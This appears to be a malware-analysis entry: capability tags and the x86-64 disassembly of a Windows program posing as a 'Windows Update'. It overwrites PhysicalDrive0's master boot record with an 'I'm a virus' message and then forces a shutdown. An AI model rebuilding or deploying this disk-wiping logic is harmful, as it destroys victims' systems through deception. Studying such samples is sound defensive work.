Function at 0x140001540
Capabilities:
Execute command
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x258
lea rbp, [rsp + 0x80]
lea rcx, str.title_Windows_Update
call sym.system
lea rdx, str.Your_computer_has_a_bug.We_are_updating.
mov rcx, qword [sym.imp.libstdc_64_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x14000e660]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rdx, str.Windows_Updating...
mov rcx, qword [sym.imp.libstdc_64_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x14000e660]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x3e
mov rdi, rdx
rep stosq qword [rdi], rax
mov rax, qword [0x14000d020]
mov rdx, qword [0x14000d028]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
mov rax, qword [0x14000d030]
mov rdx, qword [str._r_nIm_a_virus_Bye_]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [0x14000d040]
mov qword [rbp - 0x20], rax
movzx eax, word [0x14000d048]
mov word [rbp - 0x18], ax
movzx eax, byte [0x14000d04a]
mov byte [rbp - 0x16], al
mov byte [rbp + 0x1be], 0x55
mov byte [rbp + 0x1bf], 0xaa
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 3
mov edx, 0xc0000000
lea rcx, str..PhysicalDrive0
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0xffffffffffffffff
jne 0x140001696
mov r9d, 0
lea r8, str.Please_run_as_an_administrator__otherwise_Windows_cannot_install_this_special_patch_update.
lea rdx, str.Error
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_MessageBoxA]
call rax
mov eax, 0
jmp 0x140001788
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1c4]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x90018
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
lea rcx, [rbp + 0x1c4]
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0x200
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x1c8]
mov qword [rsp + 0x38], 0
lea rdx, [rbp + 0x1c4]
mov qword [rsp + 0x30], rdx
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0x9001c
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeviceIoControl]
call rax
lea rdx, str.Windows_Updated.Restart...
mov rcx, qword [sym.imp.libstdc_64_6.dll_std::cout]
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____std::char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rdx, qword [0x14000e660]
mov rcx, rax
call sym.std::ostream::operator___std::ostream____std::ostream__
lea rcx, str.shutdown__s__t_00
call sym.system
add rsp, 0x258
pop rdi
pop rbp
ret